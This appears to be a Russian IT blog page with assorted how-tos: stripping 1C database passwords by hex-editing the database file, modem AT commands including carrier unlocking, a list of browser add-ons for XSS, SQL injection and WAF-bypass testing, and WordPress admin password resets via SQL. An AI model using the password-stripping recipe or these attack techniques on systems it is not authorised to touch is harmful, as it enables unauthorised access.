Рубрика: Разное

Сброс пароля базы 1С

Перед сбросом пароля пользователя ОБЯЗАТЕЛЬНО сделайте резервную копию базы данных. Можно произвести эту операцию простым копированием файла «1Cv8.1CD». Важно, чтобы во время копирования в базе не было пользователей.

Для сброса пароля 1С 8.3 нам потребуется программа — HEX-редактор, например Hex Editor Neo (запускается без установки).

1 шаг

Устанавливаем и запускаем Hex Editor Neo. Из программы открываем файл базы данных — 1Cv8.1CD. Данный файл находится в папке вашей базы.

2 шаг

После открытия файла 1Cv8.1CD необходимо найти нужную строку для редактирования. Для этого необходимо нажать сочетание клавиш ctrl+F, выбрать кодировку из списка — Unicode (как на скриншоте), ввести в строку поиска «users.usr» и нажать ОК.

3 шаг

В найденной строке users.usr ищем число “09” и слева от него меняем “00” на “01”
Далее ищем строку “v8users”.( Если не находит снимаем галочку “Match case” и повторяем поиск).
В найденной строке меняем букву «V» на «H» так, чтобы получилось “h8users” ( H 8 U S E R S )

Пароли сняты, поздравляю!

mount: unknown filesystem type ‘LVM2_member’

Столкнулся с проблемой:

linux-2hcr:/etc # mount /dev/sda2 /mnt
mount: unknown filesystem type ‘crypto_LUKS’

Решается просто:

linux-2hcr:/etc # cryptsetup luksOpen /dev/sda2 crypted_sda2
Enter passphrase for /dev/sda2:

Вводим пароль и все.

Но тут возникла другая)))

linux-2hcr:/etc # mount /dev/mapper/crypted_sda2 /mnt
mount: unknown filesystem type ‘LVM2_member’

Решается так:

linux-2hcr:/etc # lvscan

ACTIVE ‘/dev/system/home’ [1,80 TiB] inherit
ACTIVE ‘/dev/system/root’ [20,00 GiB] inherit

linux-2hcr:/etc # mount /dev/system/home /mnt

Вот и всё.

Emmet для sublime. Добавление Package Control.

Каждый Веб-разработчик всегда в поиске упрощения своего рабочего места. Эта статья посвящена начинающим верстальщикам которые часто работают с HTML и CSS, при этом пользуются Sublime Text 2 или 3.
Плагин «Emmet» облегчит работу с самым популярным текстовым редактором. Помимо Соблайма, Эммет может работать и с другими редакторами, такими как — Notepad++, Coda, Eclipse, TextMate, и Adobe DreamWeaver.
Процесс установки Emmet для Sublime
Когда я устанавливал плагин Эммет на свой редактор, то у меня возникла проблема, для установки мне нужна была вкладка «Package Control» которая должна была находится в «Preferences», ее там небыло, если и у вас нет, то читайте ниже.
Как добавить Package Control в Sublime Text 3

Очень просто и быстро. В редакторе жмите Ctrl+ или View -> Show console а если у вас русифицированный Соблайм то Вид -> Показать/скрыть консоль. После этого откроется панель ввода, вставьте в нижнюю строку код.

SUBLIME TEXT 2

import urllib2,os,hashlib; h = 'df21e130d211cfc94d9b0905775a7c0f' + '1e3d39e33b79698005270310898eea76'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); os.makedirs( ipp ) if not os.path.exists(ipp) else None; urllib2.install_opener( urllib2.build_opener( urllib2.ProxyHandler()) ); by = urllib2.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); open( os.path.join( ipp, pf), 'wb' ).write(by) if dh == h else None; print('Error validating download (got %s instead of %s), please try manual install' % (dh, h) if dh != h else 'Please restart Sublime Text to finish installation')

SUBLIME TEXT 3

import urllib.request,os,hashlib; h = 'df21e130d211cfc94d9b0905775a7c0f' + '1e3d39e33b79698005270310898eea76'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); by = urllib.request.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); print('Error validating download (got %s instead of %s), please try manual install' % (dh, h)) if dh != h else open(os.path.join( ipp, pf), 'wb' ).write(by)

Установка package control в Sublime

Нажмите Enter и перезапустите ваш редактор.

Установка плагина Emmet для Sublime Text

Теперь у нас есть Пакет управления в Саблайме и можно переходить к установки Эммета. Тут тоже делов на минуту. Как вы уже наверное поняли, нужно нажать на «Preferences» (Глобальные параметры) или Ctrl + Shift + P и в самом низу кликнуть на Package Control, у вас всплывет окно, нажимайте на «Install Package» (Установить Пакет) на шестой строке.

После этого всплывет еще одно окно где нужно ввести слово «Emmet», появится много предложений и словосочетаний, нажать нужно на самую первую надпись.

Установка emmet

Вот и все, когда откроется вкладка «Package Control Messages» с содержимым о том что плагин установлен, можно все закрыть, перезапустить и пользоваться!

Как работает плагин Emmet

Приведу пару примеров «Emmet горячие клавиши». Например при написании ul без <> и нажатия Tab будет автоматически развернут полный список.

Горячие клавиши ul и ui

Таким же методом можно написать div.class для назначения класса.

Горячие клавиши div.class

Для первоначального создания страницы достаточно добавить ! и нажать Tab.

Горячие клавиши doctype

 

АТ-команды для модемов Huawei

Инструкция по настройке модема с помощью AT-команд

Управление 3G-модемом происходит при помощи AT-команд. Даже родное программное обеспечение от оператора использует эти команды в фоновом режиме. Все вы прекрасно знаете, что при подключении модема к компьютеру, система определяет сразу несколько устройств: модем, CD-ROM, Flash-карта (не во всех модемах). Все эти интерфейсы виртуальны и используется пользователем по мере надобности. Иногда возникает необходимость отключить Cd-rom и флешку, например, не все роутеры исправно работают с модемами у которых эти опции включены. Иногда требуется включить режим только модем. Для этого потребуется программа Hyper terminal, встроенная в операционную систему Windows XP. Для Windows Vista и Windows 7 её необходимо скачать. Я предлагаю вам более удобный вариант для общения с модемом — программу Huawei Modem Terminal.
Вставляем модем Huawei в USB-порт и запускаем программу. Далее в программе вверху выбираем ваше устройство «HUAWEI Mobile Connect — 3G PC UI Interface» и жмем Connect. После этого требуется проверить отвечает ли нам модем. Для этого внизу в строке введите команду AT и нажмите Enter. Должно появиться что-то типа того:
Send: AT
Recieve: AT
Recieve: OK
Если все произошло именно так, то модем отвечает и мы можем подавать ему команды, список которых приведен ниже:
Команды для модемов типа Huawei E1550:
AT^U2DIAG=0 (девайс в режиме только модем)
AT^U2DIAG=1 (девайс в режиме модем + CD-ROM)
AT^U2DIAG=255 (девайс в режиме модем + CD-ROM + Card Reader) — не поддерживается Huawei E1750
AT^U2DIAG=256 (девайс в режиме модем + Card Reader, можно использывать как обычную флешку, отказавшись от установки драйверов модема).
AT^SYSCFG=2,2,3fffffff,0,2 (включение 2G,3G)
Команды для модема Huawei E1750:
AT^U2DIAG=0 (девайс в режиме только модем)
AT^U2DIAG=1 (девайс в режиме модем + CD-ROM)
AT^U2DIAG=6 (девайс в режиме только сетевая карта)
AT^U2DIAG=268 для E1750 (девайс в режиме модем + CD-ROM + Card Reader)
AT^U2DIAG=276 для E1750 (девайс в режиме сетевой карты + CD-ROM + Card Reader)
AT^U2DIAG=256 (девайс в режиме модем + Card Reader), можно использовать как обычную флешку, отказавшись от установки драйверов модема.
Команды для модемов Huawei E367, E352, E392, E353 и E171:
AT^SETPORT?  — Отображение текущей конфигурации
AT^GETPORTMODE  — Отображение в настоящее время активный режим
AT^SETPORT=»A1,A2;1,2,3,7,A1,A2″  — Установить конфигурацию по умолчанию
AT^SETPORT=»A1,A2;1,16,3,2,A1,A2″  — Установить конфигурацию по умолчанию для модема E171 (новая ревизия)
AT^SETPORT=»A1,A2;1,2,3,7,A1,A2,4,5,6,A,B,D,E» — Тоже сброс по умолчанию (на некоторых модемах)
AT^SETPORT=»A1,A2;1,2,3,7″  — Отключить CD-ROM и карту памяти
AT^SETPORT=»A1,A2;1,2,3,A2″  — Отключает NDIS и CD-ROM — остаётся только модем и флешка
AT^SETPORT=»A1,A2;1,2,3″  — Режим «Только модем»
AT^SETPORT=»A1;1,2″  — Отключает вообще всё кроме модема и служебного интерфейса
AT^SETPORT=»A1,A2;2,7″  — Отключить CD-ROM + карту памяти + модем  установить в Win7 только NDIS режим.
AT^SETPORT=»A1;2,7″  — CD-ROM + NDIS
Команды для модема Huawei E369:
AT^SETPORT? – вывод на экран текущей конфигурации.
AT^GETPORTMODE — вывод на экран активного режима в настоящее время.
AT^SETPORT = «A1, A2, 1,2,3,7, A1, A2» – установка конфигурации по умолчанию.
AT^SETPORT = «A1, A2, 1,2,3,7″ — устройство в режиме Modem + Network Card.
AT^SETPORT=»A1,A2;1,2,3,A2» — устройство в режиме Modem + Card Reader.
AT^SETPORT = «A1, A2, 2,7″ — устройство в режиме Network Card.
AT^SETPORT=»A1,A2;1,2,3» — устройство в режиме Modem (работает быстрее и стабильнее).
AT^SETPORT = «A1, 2,7» — Network Card + CD-ROM.
AT^SETPORT = «A1, A2, 1,2,3,7, A1, A2, 4,5,6, A, B, D, E» — сброс настроек по умолчанию.
Команды для модема Huawei E3131:
AT^SETPORT=»A1,A2;1,16,3,2,A1,A2″ — (Установить конфигурацию по умолчанию)
AT^SETPORT=»A1,A2;1,2,3,16,A1,A2″ — (режим для работы модема с Android 4.0 (иногда работает))
AT^SETPORT=»A1,A2;1,16,3,2″ — (девайс в режиме «модем + сетевая карта»)
AT^SETPORT=»A1,A2;1,2,3,A2″ — (девайс в режиме «модем + Card Reader»)
AT^SETPORT=»A1,A2;1,2,3,A1″ — (девайс в режиме «модем + CD-ROM»)
AT^SETPORT=»A1,A2;1,2,3″ — (девайс в режиме «только модем»)
AT^SETPORT=»A1,A2;2,16″ — (девайс в режиме «сетевая карта»)
AT^SETPORT=»A1,A2;2,16,A1″ — (девайс в режиме «сетевая карта + CD-ROM»)
Команды для модема Huawei E3272:
AT^SETPORT=»A1,A2;10,12,16,A1,A2″ — Конфигурация по умолчанию
AT^SETPORT=»A1,A2;10,12,16,A2″ — Конфигурация по умолчанию, отключить CD
AT^SETPORT=»A1,A2;10,12,16″ — Конфигурация по умолчанию, отключить CD + SD
AT^SETPORT=»A1,A2;10,12″ — Конфигурация по умолчанию, отключить NDIS + CD + SD
AT^SETPORT=»A1;10,12,13,14,16,A1,A2″ — Включает: все COM порты + NDIS + CD + SD
AT^SETPORT=»A1;10,12,13,14″ — Включает: все COM порты, отключает: NDIS + CD + SD
AT^SETPORT=»A1;10,12,13,14,16″ — Включает: все COM порты + NDIS, отключает: CD + SD
AT^SETPORT=»A1;10,12,13,14,A2″ — Включает: все COM порты + SD, отключает: NDIS + CD
Команды для активации предпочтительных режимов сети (для E1750, E1820, E1550 и похожим моделей):
at^hspa=0 — режим wcdma
at^hspa=1 — режим hsdpa
at^hspa=2 — режим hspa
at^hspa=3 — режим hspa+
at^hspa=4 — сбалансированный режим. На некоторых форумах пишут, что кое-какие виды модемов с таким параметром лучше держут соединение.
Если на предыдущие команды появилось ERROR, то стоит попровать эти:
AT^HSDPA=1 — режим HSDPA
AT^HSDPA=0 — выключено
AT^HSUPA=1 — режим HSUPA
AT^HSUPA=0 — выключено
Внимание! Команды для активации предпочтительных режимов сети сбрасываются после отключения модема от питания.
Команды для разблокировки 3G-модема от конкретного оператора:
AT^CARDUNLOCK=»nck md5 hash»  — Сброс попыток к 10
AT^CARDLOCK=»nck code»  — Снятие блокировки
AT^CARDLOCK?  — Проверить блокировку и количество попыток в ответ модем выдаст:
CARDLOCK: A,B,0
A ->  2- означает, что симлока нет, 1-если модем залочен
B ->  количество оставшихся попыток разблокировки. У нового модема = 10

16 АДДОНОВ, КОТОРЫЕ ПРЕВРАТЯТ ТВОЙ БРАУЗЕР В ХАКЕРСКИЙ ИНСТРУМЕНТ

Вся прелесть cовременных браузеров состоит в том, что они могут заменить собой целый набор утилит, совершенно не вызывая подозрeний. Это уже не просто средства просмотра веб-страниц, а универсальные платформы для взаимодействия с любыми удаленными сервисами. Итак, открываем chrome://extensions/ или about:addons и аддон за аддоном превращаем браузер в мощное средство для пентеста.

Выполнение аудита безопасности подразумевает получение предварительного согласия владельца ресурса и в большинстве случаев требует наличия лицензии. Без них можно тестировать только собственный сайт. Ни редакция, ни автор не несут ответственности за любой вред, причиненный необдумaнным использованием описанных дополнений.

IP Address and Domain Information

Любой операции предшествует разведка, и с ней нам поможет расширение сайта TCPIPutils.com. Получив IP, он предоставляет много интересной информации о веб-странице, домене и провайдере, который ее хостит. Удобно, что на отдельной вкладке можно посмотреть свой текущий IP и увидеть, какой адрес твоего компьютера сейчас определяют сайты. Установить расширение можно из официального магазина Chrome.

Shodan

Следующий этап после просмотра записей из открытых баз официальных регистраторов — это проверка сайта через теневой поисковик Shodan. Он также покажет владельца IP-адреса на карте, выдаст список открытых портов и сервисов на них, включая номер версии. Бесплатное расширение доступно на shodan.io и в магазине Chrome.

Поисковик для темной стороны

Поисковик для темной стороны

Port Scanner

Узнать еще больше об открытых портах на удаленном узле и выяснить их состояние в данный момент помогает расширение с говорящим названием Port Scanner. Написал его программист из Индии Ашок Мунишвара. Находясь на одной странице, можно сканировать сервер совершенно другой. Отдельными кнопками задается сканирование только открытых или уязвимых (наиболее часто используемых троянами) портов. Диапазон TCP-портов тоже задается вручную. Для удобства введенные адреса запоминаются — потом их можно выбрать из всплывающих подсказок по мере ввода.

C любой страницы сканируем любую

C любой страницы сканируем любую

Proxy SwitchyOmega

Сканировать порты со своего IP-адреса может оказаться не лучшей идеей. Многие серверы оснащаются продвинутыми брандмауэрами и системами предотвращения вторжения, которые сочтут опрос портов началом атаки. Как минимум твой IP занесут в черный список. Как максимум — тебя навестят и не очень вежливо предложат ответить на пару вопросов. Избежать визита непрошеных гостей или хотя бы отсрочить его помогут анонимные прокси. Среди множества вариантов их использования это дополнение (ранее известное как Proxy SwitchySharp) предлагает довольно простой и удобный способ. Ставится Proxy SwitchyOmega в два клика и после настройки работает автоматически по заданным правилам.

Настройка правил для переключения прокси

Настройка правил для переключения прокси

EditThisCookie

Сегодня каждый сайт норовит присвоить твоему компьютеру временный идентификатор, который сохраняется в куки вместе с другими демаскирующими тебя параметрами. С установкой расширения EditThisCookie появляется простая возможность управлять всеми печеньками. Менеджер отображает только куки, относящиеся к активной веб-странице. Поэтому их можно быстро находить без ручных фильтров, удалять, защищать от удаления, блокировать и даже править в отдельном окне.

Изменение идентификатора в куки

Изменение идентификатора в куки

The Exploit Database

После сбора разведданных и предварительной подготовки пора приниматься за дело и отыскать на выбранном сайте уязвимости. Это расширение предоставляет удобный доступ к большой (и, что важнее, обновляемой) базе эксплоитов из архива Offensive Security. По умолчанию апдейты проверяются каждые пять минут, а все новые уязвимости сортируются по дате, типу, автору и описанию. Установить его можно из магазина Chrome. Оно отлично работает в паре с приложением GHDB.

GHDB (Google Hack Data Base)

Это приложение для Chrome с быстрым запуском из панели. В нем собраны примеры хитрых запросов, которые позволяют быстро отыскать через Google сетевое оборудование и веб-платформы с известными уязвимостями. В отдельный раздел включены типовые запросы для сетевых камер, систем видеонаблюдения и принтеров. Также своего раздела удостоились процедуры поиска встроенных учетных записей и специфических ошибок. На двух последних вкладках собраны разные примеры — от поиска директорий с урожаем ценных данных до конфигурационных файлов Cisco PIX. Ирония в том, что Google спокойно позволяет установить GHDB из собственного магазина.

Примеры хитрых поисковых запросов

Примеры хитрых поисковых запросов

XSS Rays

Мощный инструмент для тестов на проникновение с использованием XSS-атак. Включает в себя сканер уязвимостей, инспектор скриптов, инжектор форм, менеджер событий, а также функции обратной разработки. Может извлекать любые формы и даже позволяет редактировать их на лету, не меняя исходный объект. Умеет выполнять продвинутый поиск по ключевым словам, причем не только в теле HTML-страниц, но и в скриптах и внешних обработчиках событий. Помогает разобраться в структуре сложных сайтов и понять, как происходит обработка любой отображаемой или скрытой формы. Скачать XSS Rays также можно бесплатно.

Изучение содержимого форм

Изучение содержимого форм

HPP Finder

Это расширение незаметно выполняет фоновую проверку сайта в активной вкладке. Оно ищет элементы веб-приложений, подверженных уязвимости HTTP Parameter Pollution. Во многих случаях атака по типу смешения границ параметров дает возможность обхода WAF и выполнения SQL-инжектов. Она работает там, где блокируются методы XSS. Подозрительные с точки зрения WAF запросы в таких элементах расщепляются на безобидные фрагменты, которые из-за особенностей обработки склеиваются в одну команду за счет использования одноименных параметров.HPP Finder использует метод, обнаруженный более пяти лет назад. Однако найденная уязвимость затрагивает фундаментальные недостатки RFC3986 и потому актуальна до сих пор. Исправить удается только ее проявление в конкретном приложении, и то не всегда.

HPP дополняет XSS и позволяет обойти WAF

HPP дополняет XSS и позволяет обойти WAF

Firebug Lite for Google Chrome

Firebug обеспечивает визуальный анализ исходного кода веб-страниц, таблиц CSS, скриптов и объектов DOM с возможностью исправлять содержимое каждой секции. При переходе по разным фрагментам кода соответствующие ему элементы страницы выделяются цветовой рамкой. Firebug помогает выяснить, как работает веб-приложение, и провести его аудит. Это одно из немногих расширений, которое можно скачать, но нельзя запустить на странице магазина Chrome из соображений безопасности.

Firebug — консоль, инспектор и отладчик

Firebug — консоль, инспектор и отладчик

d3coder

При анализе содержимого веб-страниц и скриптов ты часто увидишь данные в формате Base64, ROT13 или другой кодировке. Также может понадобиться перевести в читаемый вид временные метки из разных систем отсчета, раскодировать URI/URL или посчитать какой-нибудь хеш. Со всеми этими задачами поможет справиться одно расширение — d3coder. Оно вызывается из контекстного меню и обладает хорошим набором функций, но его юзабилити еще далеко от совершенства. Например, результаты работы расширения часто отображаются во всплывающем окне без возможности выделения и копирования.

Form Fuzzer

Необычный инструмент для работы с формами любого типа, включая скрытые. Автоматически наполняет их заданным текстом или случайным набором символов определенной длины, чтобы можно было проверить их дальнейшую обработку на сайте. Также умеет отмечать чекбоксы, переключать «радиокнопки» и проверять другие интерактивные функции веб-страницы. Имеет множество настроек. В пентесте Form Fuzzer часто используется для ускорения XSS-атак и SQL-инжектов. Несмотря на такие качества, это расширение можно скачать в магазине Chrome.

FormFuzzer — изучаем интерактивные формы

FormFuzzer — изучаем интерактивные формы

Request Maker

Это расширение используется для отправки стандартных или измененных запросов на сервер и анализа ответных пакетов. Может применяться для подмены URL и модификации заголовков писем и поддерживает работу с формами. Также пригодится для атаки на веб-приложения путем изменения HTTP-запросов. По умолчанию Request Makerзапускается из меню «Дополнения» при нажатии кнопки «Параметры». Мини-справка встроена под каждым пунктом настроек, и ее стиль пылает сарказмом.

Request Maker — пусть тайное станет явным!

Request Maker — пусть тайное станет явным!

iMacros for Chrome

iMacros экономит время, позволяя автоматизировать рутинные операции. К примеру, при выполнении пентеста часто приходится повторять одни и те же действия на разных страницах сайта. iMacros может записать их и воспроизводить с заданными настройками. Типовые задачи уже есть в базе примеров, на которых легко создать собственные.

iMacros — хакер должен быть ленивым!

iMacros — хакер должен быть ленивым!

Web Developer

Очень удобное средство для быстрого изменения настроек. Web Developer умеет в один клик включать и отключать плагины, обработку JavaScript, вывод уведомлений и всплывающих окон. Имеет отдельные вкладки для управления cookies, CSS, интерактивными формами и загрузкой картинок. В разделе Tools содержится вьювер исходного кода веб-страниц и восемь инструментов валидации через внешние веб-сервисы, к которым можно добавить свои.

Panic Button Plus

Опытный хакер успевает съесть ноутбук до того, как его арестуют, но не всегда нужны столь кардинальные меры. Иногда достаточно просто спрятать вкладки от коллег, оставив безобидную страницу Google. Сделать это в один клик поможет кнопка Panic. Если боишься, что в ответственный момент рука может дрогнуть, то назначь команду маскировки по нажатию горячих клавиш. Повторная активация кнопки вернет все вкладки на свои места, поэтому лучше добавить парольную защиту в настройках.

В случае паники нажать на кнопку и выдавить монитор

В случае паники нажать на кнопку и выдавить монитор

Восстановление пароля от админа wordpress

Столкнулся с проблемой. Нужно восстановить пароль от админа, но функция восстановления не отправляет письма. Разбираться особо не было времени.

Поступил так:

# mysql

mysql> show databases;
+———————+
| Database           |
+———————+
| information_schema |
| mysql              |
| test               |
| tmp                |
| wp                 |
+———————+
6 rows in set (0.02 sec)

mysql> use wp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> update wp_users set user_pass = ‘$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0’ where id=1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

 

 

После этих манипуляций, пароль сменился на «12345»

И зайдя в админку, его легко сменить.

 

Мониторинг HDD с помощью smartctl

SMART — аббревиатура означает Self Monitoring Analysing and Reporting Technology. На текущий момент поддержка SMART заявлена многими производителями жестких дисков. С помощью этой технологии можно выявить следующие проблемы:

  • Проблемы блока магнитных головок
    Физические повреждения, логические ошибки
    Проблемы привода, системы позиционирования
    Проблемы электронной части (платы)
    Превышение температуры

Установка не тривиальна:

sudo apt-get smartmontools

На выходе получаем 2 приложения: smartctl и smartd.

  • smartctl (Control and Monitor Utility for SMART Disks) — поддерживает ATA, IDE, SATA и SCSI-3 диски.
    smartd — является демоном smartclt, пытаясь включить SMART monitoring на ATA устройствах (smartctl -s on) опрашивая устройства каждые 30 минут (по умолчанию),  при этом логируя ошибки дисков и изменения атрибутов в файл /var/log/syslog. Smartd можно сконфигурировать на отсылку предупреждений по e’mail в случае обнаружении проблемы.

Чтобы понять, есть ли поддержка SMART жестким диском выполняем:

smartctl -i /dev/hda

Если выключен, то Включить SMART, можно так:

smartctl -s on /dev/hda

Для получения полной информации о жестком диске выполняем:

smartctl --all /dev/hda

Получаем:

=== START OF INFORMATION SECTION ===
Model Family:     Seagate Barracuda ES
Device Model:     ST3500630NS
Serial Number:    9QG2ML1C
Firmware Version: 3.AEG
User Capacity:    500 107 862 016 bytes
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   7
ATA Standard is:  Exact ATA specification draft version not indicated
Local Time is:    Mon Oct 29 10:42:35 2012 MSK
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

=== START OF READ SMART DATA SECTION ===
MART overall-health self-assessment test result: PASSED

/*часть вывода опущено*/

ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   104   093   006    Pre-fail  Always       -       6515114
  3 Spin_Up_Time            0x0003   095   092   000    Pre-fail  Always       -       0
  4 Start_Stop_Count        0x0032   099   099   020    Old_age   Always       -       1848
  5 Reallocated_Sector_Ct   0x0033   100   100   036    Pre-fail  Always       -       0
  7 Seek_Error_Rate         0x000f   070   047   030    Pre-fail  Always       -       335760201000
  9 Power_On_Hours          0x0032   079   079   000    Old_age   Always       -       18756
 10 Spin_Retry_Count        0x0013   100   100   097    Pre-fail  Always       -       0
 12 Power_Cycle_Count       0x0032   098   098   020    Old_age   Always       -       2636
187 Reported_Uncorrect      0x0032   100   100   000    Old_age   Always       -       0
189 High_Fly_Writes         0x003a   100   100   000    Old_age   Always       -       0
190 Airflow_Temperature_Cel 0x0022   050   036   045    Old_age   Always   In_the_past 50 (Lifetime Min/Max 23/51)
194 Temperature_Celsius     0x0022   050   064   000    Old_age   Always       -       50 (0 1 0 0)
195 Hardware_ECC_Recovered  0x001a   067   058   000    Old_age   Always       -       26848298
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       -       1
198 Offline_Uncorrectable   0x0010   100   100   000    Old_age   Offline      -       1
199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       -       0
200 Multi_Zone_Error_Rate   0x0000   100   253   000    Old_age   Offline      -       0
202 Data_Address_Mark_Errs  0x0032   100   253   000    Old_age   Always       -       0

С жестким диском все в порядке, был лишь достигнут температурный максимум, но он не является критичным, для данного HDD.

Детальный вывод smartctl:

RAW_VALUE — Каждый атрибут имеет raw value 6-ти байтовое значение.

THRESH — минимальное возможное значение атрибута, при котором гарантируется безотказная работа накопителя.

VALUE — одно байтовое значение «нормализованное», изменяется в диапазоне от 0 до 255 (задается производителем). Маленькое значение говорит о быстрой деградации диска или о возможном скором сбое. т.е. чем выше значение тем лучше.
Например в случае параметра «Airflow_Temperature_Cel» RAW_VALUE хранит температуру диска (50), а так же минимальную и максимальную температуру (Lifetime Min/Max 23/51), при которой сохраняется работоспособность диска. Firmware диска конвертирует RAW_VALUE в normalized value (VALUE) в диапазоне от 1 до 253. Если нормализованное значение (VALUE) меньше или равно THRESH, Атрибут считается failed и отображается в столбце WHEN_FAILED, как в текущем случае  сбой был по атрибуту Airflow_Temperature_Cel.

WORST — минимальное нормализованное значение, которое достигалось с момента включения SMART на диске.

TYPE — существует 2 типа атрибутов:

  • Pre-fail -критичные атрибуты
  • Old_age — некритичные атрибуты (величина VALUE отведенная производителем до наработки на отказ).

Если VALUE стало меньше THRESH в случае Pre-fail атрибута — существует большая вероятность, что диск вылетит в ближайшие 24 часа.
Если VALUE стало меньше THRESH в случае Old_age атрибута — существует большая вероятность, что диск вылетит т.к. выработан ресурс, но когда это произойдет не известно.

Критичные атрибуты:

  • Raw_Read_Error_Rate — частота ошибок при чтении данных с диска, происхождение которых обусловлено аппаратной частью диска.
  • Spin_Up_Time — время раскрутки пакета дисков из состояния покоя до рабочей скорости. При расчете VALUE значения практическое время сравнивается с некоторой эталонной величиной, установленной на заводе. Не ухудшающееся немаксимальное значение при Spin Up Retry Count Value = max (Raw равном 0) не говорит ни о чем плохом. Отличие времени от эталонного может быть вызвано рядом причин, например просадка по вольтажу блока питания.
  • Spin_Retry_Count — число повторных попыток раскрутки дисков до рабочей скорости, в случае если первая попытка была неудачной. Ненулевое значение Raw (соответственно немаксимальное Value) свидетельствует о проблемах в механической части накопителя.
  • Seek_Error_Rate — частота ошибок при позиционировании блока головок. Высокое значение Raw свидетельствует о наличии проблем, которыми могут являться повреждение сервометок, чрезмерное термическое расширение дисков, механические проблемы в блоке позиционирования и др. Постоянное высокое значение Value говорит о том, что все хорошо.
  • Reallocated_Sector_Ct — число операций переназначения секторов. SMART в современных дисках способен произвести анализ сектора на стабильность работы «на лету» и в случае признания его сбойным, произвести его переназначение.

Некритичные атрибуты:

  • Start_Stop_Count — полное число запусков/остановов шпинделя. Гарантировано мотор диска способен перенести лишь определенное число включений/выключений. Это значение выбирается в качестве Treshold. Первые модели дисков со скоростью вращения 7200 оборотов/мин имели ненадежный двигатель, могли перенести лишь небольшое их число и быстро выходили из строя.
  • Power_On_Hours — число часов проведенных во включенном состоянии. В качестве порогового значения для него выбирается паспортное время наработки на отказ (MBTF). Обычно величина MBTF огромна, и маловероятно, что этот параметр достигнет критического порога. Но даже в этом случае выход из строя диска совершенно не обязателен.
  • Power_Cycle_Count — количество полных циклов включения-выключения диска. По этому и предыдущему атрибуту можно оценить, например, сколько использовался диск до покупки.
  • Temperature_Celsius — Здесь хранятся показания встроенного термодатчика. Температура имеет огромное влияние на срок службы диска (даже если она находится в допустимых пределах). Вернее имеет влияние не на срок службы диска а на частоту возникновения некоторых типов ошибок, которые влияют на срок службы.
  • Current_Pending_Sector — Число секторов, являющихся кандидатами на замену. Они не были еще определенны как плохие, но считывание их отличается от чтения стабильного сектора, так называемые подозрительные или нестабильные сектора.
  • Offline_Uncorrectable — число ошибок при обращении к сектору, которые не были скорректированы. Возможными причинами возникновения могут быть сбои механики или порча поверхности.
  • UDMA_CRC_Error_Count — число ошибок, возникающих при передаче данных по внешнему интерфейсу. Могут быть вызваны некачественными кабелями, нештатными режимами работы.

Конфигурирование демона smartd:

vi /etc/smartd.conf

По-умолчанию там только одна опция DEVICESCAN, рекомендуется за комментировать и перечислить список устройств, для которых необходим мониторинг:

/dev/sda -S on -o on -a -I 194 -m alert@wandmagic.ru
/dev/sdb -S on -o on -a -I 194 -m alert@wandmagic.ru

Где:

  • первая колонка — устройство,
  • -S включает автозапись атрибутов,
  • -o включает автоматическое off-line тестирование,
  • -a указывает smartd мониторить все SMART параметры диска,
  • -I 194 означает игнорировать атрибут #194, (т.е. температуру), т.к. температура диска часто меняется и нет смысла ее логировать,
  • -m указывает куда warning сообщения отсылать.

запуск демона:

/etc/init.d/smartd start

******************************

В SMART III появилась функция, позволяющая прозрачно для пользователя переназначать BAD сектора.

Работает механизм следующим образом: при неустойчивом чтении сектора, или же ошибки его чтения, SMART заносит его в список нестабильных и увеличит их счетчик (Current_Pending_Sector). Если при повторном обращении сектор будет прочитан без проблем, он будет выброшен из этого списка. Если же нет, то при представившейся возможности — при отсутствии обращений к диску, диск начнет самостоятельную проверку поверхности, в первую очередь подозрительных секторов. Если сектор будет признан сбойным, то он будет переназначен на сектор из резервной поверхности (соответственно RSC увеличиться). Такое фоновое переназначение приводит к тому, что на современных винчестерах сбойные секторы практически никогда не видны при проверке поверхности сервисными программами. В тоже время, при большом числе плохих секторов их переназначение не может происходить до бесконечности. Первый ограничитель очевиден — это объем резервной поверхности.
У современных винчестеров есть два дефект-листа P-list (Primary, заводской) и G-list (Growth, формируется непосредственно во время эксплуатации). И при большом числе переназначений может оказаться так, что в G-list не оказывается места для записи о новом переназначении. Эта ситуация может быть выявлена по высокому показателю переназначенных секторов в SMART.

Adblock на openwrt

Для начала научим стандартный dnsmasq работать с внешним host файлом.
В файле /etc/config/dhcp добавить строку:

в секции 
config dnsmasq
        list addnhosts '/root/hosts/adfree'
        list addnhosts '/root/hosts/unchanged'

Файл /root/hosts/unchanged я использую для добавления собственных hosts правил, или которых нет в adfree.
По пути /root/hosts/ создаем скриптик upd-adfree.sh который качает свежие списки adfree (ссылка которую использует android телефон) и модифицирует под вид hosts, затем перезагружает dnsmasq для того чтоб он прочитал новые файлы.

##adfree
wget http://winhelp2002.mvps.org/hosts.txt -O adfree-tmp
sed 's/^\(.*\).$/\1/' adfree-tmp > adfree

## dns restart to update
/etc/init.d/dnsmasq restart

И дать права на выполнение:

chmod +x /root/hosts/upd-adfree.sh

в файле /etc/crontabs/root добавить строку
0 0 * * * /root/hosts/upd-adfree.sh
Что означает запускать скрипт каждый день в 0:00.
Активировать cron:

/etc/init.d/cron enable

 

Два провайдера на одном роутере

Неприятно, если у провайдера авария и у вас дома пропал доступ в интернет. Вдвойне неприятно, если в этот момент вы находитесь далеко от дома и вам нужно залезть на домашний компьютер или NAS. В моем случае застраховаться от падения канала мне помогла компания МГТС, заменив устаревшую медь на оптику, с которой я получил ещё один канал интернет, и чтение различных мануалов по dd-wrt. Если с оптикой я помочь не смогу, то готовым решением по dd-wrt я с удовольствием поделюсь.

